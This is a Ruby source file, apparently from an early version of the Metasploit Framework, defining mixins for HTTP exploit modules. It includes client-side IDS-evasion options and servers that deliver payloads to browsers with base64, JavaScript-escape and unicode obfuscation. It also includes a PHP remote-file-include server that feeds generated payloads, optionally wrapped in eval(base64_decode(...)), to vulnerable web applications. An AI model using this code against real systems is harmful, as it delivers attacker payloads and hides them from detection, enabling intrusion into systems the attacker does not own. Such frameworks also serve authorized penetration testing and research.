require 'rex/service_manager'

module Msf

###
#
# This module provides methods for acting as an HTTP client when
# exploiting an HTTP server.
#
###
module Exploit::Remote::HttpClient

	#
	# Initializes an exploit module that exploits a vulnerability in an HTTP
	# server.
	#
	def initialize(info = {})
		super

		register_options(
			[
				Opt::RHOST,
				Opt::RPORT(80),
				OptString.new('VHOST', [ false, "HTTP server virtual host" ]),
                Opt::SSL,
			], self.class
		)
      
		register_advanced_options(
			[
	  			OptString.new('UserAgent', [false, 'The User-Agent header to use for all requests'])
			], self.class
		)
	    
		register_evasion_options(
			[
				OptEnum.new('HTTP::uri_encode_mode', [false, 'Enable URI encoding', 'hex-normal', ['none', 'hex-normal', 'hex-all', 'hex-random', 'u-normal', 'u-all', 'u-random']]),
				OptBool.new('HTTP::uri_full_url', [false, 'Use the full URL for all HTTP requests', false]),
				OptInt.new('HTTP::pad_method_uri_count', [false, 'How many whitespace characters to use between the method and uri', 1]),
				OptInt.new('HTTP::pad_uri_version_count', [false, 'How many whitespace characters to use between the uri and version', 1]),
				OptEnum.new('HTTP::pad_method_uri_type', [false, 'What type of whitespace to use between the method and uri', 'space', ['space', 'tab', 'apache']]),
				OptEnum.new('HTTP::pad_uri_version_type', [false, 'What type of whitespace to use between the uri and version', 'space', ['space', 'tab', 'apache']]),
				OptBool.new('HTTP::method_random_valid', [false, 'Use a random, but valid, HTTP method for request', false]),
				OptBool.new('HTTP::method_random_invalid', [false, 'Use a random invalid, HTTP method for request', false]),
				OptBool.new('HTTP::method_random_case', [false, 'Use random casing for the HTTP method', false]),
				OptBool.new('HTTP::uri_dir_self_reference', [false, 'Insert self-referential directories into the uri', false]),
				OptBool.new('HTTP::uri_dir_fake_relative', [false, 'Insert fake relative directories into the uri', false]),
				OptBool.new('HTTP::uri_use_backslashes', [false, 'Use back slashes instead of forward slashes in the uri ', false]),
				OptBool.new('HTTP::pad_fake_headers', [false, 'Insert random, fake headers into the HTTP request', false]),
				OptInt.new('HTTP::pad_fake_headers_count', [false, 'How many fake headers to insert into the HTTP request', 0]),
				OptBool.new('HTTP::pad_get_params', [false, 'Insert random, fake query string variables into the request', false]),
				OptInt.new('HTTP::pad_get_params_count', [false, 'How many fake query string variables to insert into the request', 16]),
				OptBool.new('HTTP::pad_post_params', [false, 'Insert random, fake post variables into the request', false]),
				OptInt.new('HTTP::pad_post_params_count', [false, 'How many fake post variables to insert into the request', 16]),
				OptBool.new('HTTP::uri_fake_end', [false, 'Add a fake end of URI (eg: /%20HTTP/1.0/../../)', false]),
				OptBool.new('HTTP::uri_fake_params_start', [false, 'Add a fake start of params to the URI (eg: /%3fa=b/../)', false]),
				OptBool.new('HTTP::header_folding', [false, 'Enable folding of HTTP headers', false])
#
# Remaining evasions to implement
#		
#				OptBool.new('HTTP::chunked', [false, 'Enable chunking of HTTP request via "Transfer-Encoding: chunked"', 'false']),
#               OptInt.new('HTTP::junk_pipeline', [true, 'Insert the specified number of junk pipeline requests', 0]),
			], self.class
		)
	end

	#
	# Connects to an HTTP server.
	#
	def connect(opts={})
		nclient = Rex::Proto::Http::Client.new(
			rhost,
			rport.to_i,
			{
				'Msf'        => framework,
				'MsfExploit' => self,
			},
            ssl
		)
		
		# Configure the HTTP client with the supplied parameter
		nclient.set_config(
			'vhost' => self.vhost(),
			'agent' => datastore['UserAgent'],
			'uri_encode_mode'        => datastore['HTTP::uri_encode_mode'],
			'uri_full_url'           => datastore['HTTP::uri_full_url'],
			'pad_method_uri_count'   => datastore['HTTP::pad_method_uri_count'],
			'pad_uri_version_count'  => datastore['HTTP::pad_uri_version_count'],
			'pad_method_uri_type'    => datastore['HTTP::pad_method_uri_type'],
			'pad_uri_version_type'   => datastore['HTTP::pad_uri_version_type'],
			'method_random_valid'    => datastore['HTTP::method_random_valid'],
			'method_random_invalid'  => datastore['HTTP::method_random_invalid'],
			'method_random_case'     => datastore['HTTP::method_random_case'],
			'uri_dir_self_reference' => datastore['HTTP::uri_dir_self_reference'],
			'uri_dir_fake_relative'  => datastore['HTTP::uri_dir_fake_relative'],
			'uri_use_backslashes'    => datastore['HTTP::uri_use_backslashes'],
			'pad_fake_headers'       => datastore['HTTP::pad_fake_headers'],
			'pad_fake_headers_count' => datastore['HTTP::pad_fake_headers_count'],	
			'pad_get_params'         => datastore['HTTP::pad_get_params'],
			'pad_get_params_count'   => datastore['HTTP::pad_get_params_count'],
			'pad_post_params'        => datastore['HTTP::pad_post_params'],
			'pad_post_params_count'  => datastore['HTTP::pad_post_params_count'],
			'uri_fake_end'           => datastore['HTTP::uri_fake_end'],
			'uri_fake_params_start'  => datastore['HTTP::uri_fake_params_start'],
			'header_folding'         => datastore['HTTP::header_folding']
		)

		# If this connection is global, persist it
		if (opts['global'])
			if (self.client)
				disconnect
			end

			self.client = nclient 
		end
	
		return nclient
	end

	#
	# Passes the client connection down to the handler to see if it's of any
	# use.
	#
	def handler(nsock = nil)
		# If no socket was provided, try the global one.
		if ((!nsock) and
		    (self.client))
			nsock = self.client.conn
		end
	
		# If the parent claims the socket associated with the HTTP client, then
		# we rip the socket out from under the HTTP client.
		if (((rv = super(nsock)) == Handler::Claimed) and
		    (self.client) and
		    (nsock == self.client.conn))
			self.client.conn = nil
		end

		rv
	end

	#
	# Disconnects the HTTP client
	#
	def disconnect(nclient = self.client)
		if (nclient)
			nclient.close
		end

		if (nclient == self.client)
			self.client = nil
		end
	end

	#
	# Performs cleanup as necessary, disconnecting the HTTP client if it's
	# still established.
	#
	def cleanup
		super

		disconnect
	end

	#
	# Connects to the server, creates a request, sends the request, reads the response
	#
	def send_request_raw(opts={}, timeout = -1)
		begin
			c = connect(opts)
     		r = c.request_raw(opts)
			c.send_recv(r, opts[:timeout] ? opts[:timeout] : timeout)
		rescue ::RuntimeError => e
			print_error("An error occurred sending this request: #{e}")
			nil
		rescue ::Errno::EPIPE, ::Timeout::Error
			nil
		end
	end

	#
	# Connects to the server, creates a request, sends the request, reads the response
	#
	def send_request_cgi(opts={}, timeout = -1)
		begin	
			c = connect(opts)
      		r = c.request_cgi(opts)
			c.send_recv(r, opts[:timeout] ? opts[:timeout] : timeout)
		rescue ::RuntimeError => e
			print_error("An error occurred sending this request: #{e}")
			nil			
		rescue ::Errno::EPIPE, ::Timeout::Error
			nil
		end			
	end
	
	##
	#
	# Wrappers for getters
	#
	##

	#
	# Returns the target host
	#
	def rhost
		datastore['RHOST']
	end

	#
	# Returns the remote port
	#
	def rport
		datastore['RPORT']
	end

	#
	# Returns the VHOST of the HTTP server.
	#
	def vhost
		datastore['VHOST'] || datastore['RHOST']
	end

	#
	# Returns the boolean indicating SSL
	#
	def ssl
		datastore['SSL']
	end
	
protected

	attr_accessor :client

end


###
#
# This module provides methods for exploiting an HTTP client by acting
# as an HTTP server.
#
###
module Exploit::Remote::HttpServer

	include Msf::Exploit::Remote::TcpServer

protected


	def initialize(info = {})
		super
		
		register_options(
			[
				OptString.new('URIPATH', [ false,  "The URI to use for this exploit (default is random)"]),
			], Exploit::Remote::HttpServer
        )

        register_evasion_options(
            [
                OptBool.new('HTTP::chunked', [false, 'Enable chunking of HTTP responses via "Transfer-Encoding: chunked"', 'false']),
                OptBool.new('HTTP::header_folding', [false, 'Enable folding of HTTP headers', 'false']),
                OptBool.new('HTTP::junk_headers', [false, 'Enable insertion of random junk HTTP headers', 'false']),
                OptEnum.new('HTTP::compression', [false, 'Enable compression of HTTP responses via content encoding', 'none', ['none','gzip','deflate']]),
            ], Exploit::Remote::HttpServer
        )

	end

	#
	# Ensures that gzip can be used.  If not, an exception is generated.  The
	# exception is only raised if the DisableGzip advanced option has not been
	# set.
	#
	def use_zlib
		if (!Rex::Text.zlib_present? and datastore['HTTP::compression'] == true)
            raise RuntimeError, "zlib support was not detected, yet the HTTP::compression option was set.  Don't do that!"
		end
	end

	#
	# This method gives a derived class the opportunity to ensure that all
	# dependencies are present before initializing the service.
	#
	def check_dependencies
	end

	#
	# This mixin starts the HTTP server listener.  This routine takes a few
	# different hash parameters:
	#
	#   ServerHost => Override the server host to listen on (default to SRVHOST).
	#   ServerPort => Override the server port to listen on (default to SRVPORT).
	#   Uri        => The URI to handle and the associated procedure to call.
	#
	def start_service(opts = {})
		check_dependencies

		# Default the server host and port to what is required by the mixin.
		opts = {
			'ServerHost' => datastore['SRVHOST'],
			'ServerPort' => datastore['SRVPORT'],
		}.update(opts)

		# Start the HTTP server service.
		self.service = Rex::ServiceManager.start(
			Rex::Proto::Http::Server, 
			opts['ServerPort'].to_i,
			opts['ServerHost'],
			{
				'Msf'        => framework,
				'MsfExploit' => self,
			}			
		)

		self.service.server_name = 'Apache'

		# Default the procedure of the URI to on_request_uri if one isn't
		# provided.
		uopts = {
			'Proc' => Proc.new { |cli, req|
					evasions(cli)
					on_request_uri(cli, req)
				},
			'Path' => resource_uri
		}.update(opts['Uri'] || {})

		print_status("Using URL: http://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")

		add_resource(uopts)
	end

	#
	# Adds a URI resource using the supplied hash parameters.
	#
	#   Path     => The path to associate the procedure with.
	#   Proc     => The procedure to call when the URI is requested.
	#   LongCall => Indicates that the request is a long call.
	#
	def add_resource(opts)
		@service_path = opts['Path']
		service.add_resource(opts['Path'], opts)
	end
	
	#
	# Returns the last-used resource path
	#
	def get_resource
		@service_path
	end
	
	#
	# Removes a URI resource.
	#
	def remove_resource(name)
		service.remove_resource(name)
	end

	#
	# Closes a client connection.
	#
	def close_client(cli)
		service.close_client(cli)
	end
	
	#
	# Creates an HTTP response packet.
	#
	def create_response(code = 200, message = "OK", 
			proto = Rex::Proto::Http::DefaultProtocol)
		return Rex::Proto::Http::Response.new(code, message, proto);
	end


    #
    # Transmits a response to the supplied client, default content-type is text/html
    #
    # Payload evasions are implemented here!
    #
    def send_response(cli, body, headers = {})
        response = create_response
		response['Content-Type'] = 'text/html'
        response.body = body
       
        if (datastore['HTTP::compression']) 
	        self.use_zlib # make sure...
            response.compress = datastore['HTTP::compression']
        end

        if (datastore['HTTP::chunked'] == true)
            response.auto_cl = false
            response.transfer_chunked = true
        end

        if (datastore['HTTP::header_folding'] == true)
            response.headers.fold = 1
        end
        
        if (datastore['HTTP::junk_headers'] == true)
            response.headers.junk_headers = 1
        end

		headers.each_pair { |k,v| response[k] = v }

		cli.send_response(response)
    end
	
	#
	# Sends a 302 redirect to the client
	#
	def send_redirect(cli, location='/', body='')
		response = create_response(302, 'Moved')
		response['Content-Type'] = 'text/html'
		response['Location'] = location
		response.body = body
		
		cli.send_response(response)
	end
	
	#
	# Sends a 302 redirect relative to our base path
	#
	def send_local_redirect(cli, location)
		send_redirect(cli, get_resource + location)
	end


	#
	# Returns the configured (or random, if not configured) URI path
	#
	def resource_uri
		path = datastore['URIPATH'] || random_uri
		path = '/' + path if path !~ /^\//
		return path
	end


	#
	# Generates a random URI for use with making finger printing more
	# challenging.
	#
	def random_uri
		"/" + Rex::Text.rand_text_alphanumeric(rand(10) + 6)
	end

	#
	# Re-generates the payload, substituting the current RHOST and RPORT with
	# the supplied client host and port.
	#
	def regenerate_payload(cli)
		# Update the datastore with the supplied client peerhost/peerport
		datastore['RHOST'] = cli.peerhost
		datastore['RPORT'] = cli.peerport

		# If the payload fails to generate for some reason, send a 403.
		if ((p = super()) == nil)
			print_error("Failed to generate payload, sending 403.")

			cli.send_response(
				create_response(403, 'Forbidden'))

			return nil
		end
		
		# Allow the payload to start a new handler
		add_handler({
			'RHOST' => datastore['RHOST'],
			'RPORT' => datastore['RPORT']
		})

		p
	end

	##
	#
	# Override methods
	#
	##

	#
	# Called when a request is made to a single URI registered during the
	# start_service.  Subsequent registrations will not result in a call to
	# on_request_uri.
	#
	def on_request_uri(cli, request)
	end

end

###
#
# This module provides methods for exploiting an HTTP client by acting
# as an HTTP server.
#
###
module Exploit::Remote::HttpServer::HTML

	include Msf::Exploit::Remote::HttpServer

protected

	def initialize(info = {})
		super
		
        register_evasion_options(
            [
				# utf-8, utf-7 and utf-7-all are currently not supported by
				# most browsers.  as such, they are not added by default.  The
				# mixin supports encoding using them, however they are not
				# listed in the Option.
                OptEnum.new('HTML::unicode', [false, 'Enable HTTP obfuscation via unicode', 'none', ['none', 'utf-16le', 'utf-16be', 'utf-16be-marker', 'utf-32le', 'utf-32be']]),
				OptEnum.new('HTML::base64', [false, 'Enable HTML obfuscation via an embeded base64 html object', 'none', ['none', 'plain', 'single_pad', 'double_pad', 'random_space_injection']]),
				OptInt.new('HTML::javascript::escape', [false, 'Enable HTML obfuscation via HTML escaping (number of iterations)',  0]),
            ], Exploit::Remote::HttpServer::HTML
        )
	end
    
    # Transmits a html response to the supplied client
    #
    # HTML evasions are implemented here.
    def send_response_html(cli, body, headers = {})
		if datastore['HTML::base64'] != 'none'
			case datastore['HTML::base64']
				when 'plain'
					body = Rex::Text.encode_base64(body)
				when 'single_pad'
					body = Rex::Text.encode_base64(' ' + body)
				when 'double_pad'
					body = Rex::Text.encode_base64('  ' + body)
				when 'random_space_injection'
					body = Rex::Text.encode_base64(body)
					new = ''
					while (body.size > 0)
					 	new += body.slice!(0, rand(3) + 1) + Rex::Text.rand_text(rand(5) + 1, '', " \n")
					end
					body = new
			end

			body = 	'<HTML><BODY><OBJECT ID="' + Rex::Text.rand_text_alpha(rand(10)+5) + '" ' +
					'HEIGHT="100%" WIDTH="100%" TYPE="text/html" DATA="data:text/html;base64,' +
					body + '">Could not render object</OBJECT></BODY></HTML>'
		end

		if datastore['HTML::javascript::escape'] > 0
			datastore['HTML::javascript::escape'].times {
				body = '<script>document.write(unescape("' + Rex::Text.to_hex(body, '%') + '"))</script>'
			}
		end
		
		if ['utf-16le','utf-16be','utf32-le','utf32-be','utf-7','utf-8'].include?(datastore['HTML::unicode'])
			headers['Content-Type'] = 'text/html; charset: ' + datastore['HTML::unicode']
			body = Rex::Text.to_unicode(body, datastore['HTML::unicode'])
		else
			# special cases
			case datastore['HTML::unicode']
				when 'utf-16be-marker'
					headers['Content-Type'] = 'text/html'
					body = "\xFE\xFF" + Rex::Text.to_unicode(body, 'utf-16be')
				when 'utf-7-all'
					headers['Content-Type'] = 'text/html; charset: utf-7'
					body = Rex::Text.to_unicode(body, 'utf-7', 'all')
				when 'none'
					# do nothing
				else
					raise RuntimeError, 'Invalid unicode.  how did you get here?'
			end
		end
		
		send_response(cli, body, headers)
	end

end


###
#
# This module provides methods for exploiting an HTTP client by acting
# as an HTTP server.
#
###
module Exploit::Remote::HttpServer::PHPInclude

	include Msf::Exploit::Remote::HttpServer

	def initialize(info = {})
	
		# Override TCPServer's stance of passive
		super(update_info(info, 'Stance' => Msf::Exploit::Stance::Aggressive))		
		
        register_evasion_options(
            [
				OptEnum.new('PHP::Encode', [false, 'Enable PHP code obfuscation', 'none', ['none', 'base64']]),
            ], Exploit::Remote::HttpServer::PHPInclude
        )
	end
 
 	#
	# Override exploit() to handle service start/stop
	#
 	def exploit
		start_service
		print_status("PHP include server started.");
		
		php_exploit
		
		select(nil, nil, nil, 5)
		stop_service
	end
	   
	#
    # Transmits a PHP payload to the web application
    #
    def send_php_payload(cli, body, headers = {})

		case datastore['PHP::Encode']
		when 'base64'
			body = "<?php eval(base64_decode('#{Rex::Text.encode_base64(body)}'));?>"
		when 'none'
			body = "<?php #{body} ?>"
		end
		
		send_response(cli, body, headers)
	end

	#
	# Handle an incoming PHP code request
	#
	def on_request_uri(cli, request, headers={})
		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)
		
		# Send it to the application
		send_php_payload(cli, p.encoded, headers)
	end
	
	#
	# Return the PHP include URL (pre-encoded)
	#
	def php_include_url
		"http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{get_resource()}"
	end
	

end
end
